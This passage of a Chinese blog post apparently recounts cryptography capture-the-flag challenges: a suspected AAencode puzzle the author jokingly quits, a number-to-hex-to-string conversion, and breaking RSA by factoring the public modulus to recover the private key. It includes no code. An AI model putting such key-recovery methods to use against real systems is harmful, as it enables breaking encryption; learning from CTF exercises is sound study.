我第一眼看到这个就觉得是AAencode之后的东西,立马把这个丢进控制台,结果发现,并没有什么效果.。。。。哦?这就很有趣了,接下来,是时候展现我的技术了,我熟练地打开CMD,然后,我飞快的敲下一行命令”shutdown -t”,我可去你妈的吧,啥题目??真是的,然后这题目就这样被我完美的解决了。
直到第二天,我看到了解析,我才发现,我的决定是对的,这个脑洞的确有点大:

真是太可恶了,怎么能这样对待萌新呢???
接下来通过Py跑一下计算出结果,而题目要求是一段字符串,也就是说怎么把数字转化为字符串呢?Hex是它们的链接,将十进制的结果转化为十六进制,也就是Hex,然后通过Py脚本(太过简单我就不贴了)转化为字符串就行了。。。。

Day 6 RSA暴力破解

最后一天的密码学又回到了RSA了,这和第三天的RSA解密有点相似,但不同的是,今天给出的是公钥,也就是说要从一个特别大的数字中分解出两个质数相乘,这是十分困难的,总用一些强大的工具给我们使用:


整体思路分解出了p,q以及原有的e那就可以生成d了,之后就和第三天的解法是一样的了。

密码学就此告一段落,收获还是有挺多的,不过密码学这个坑可谓是深不见底,我这一jio下去,不知道何时才能爬起来。

本站总访问量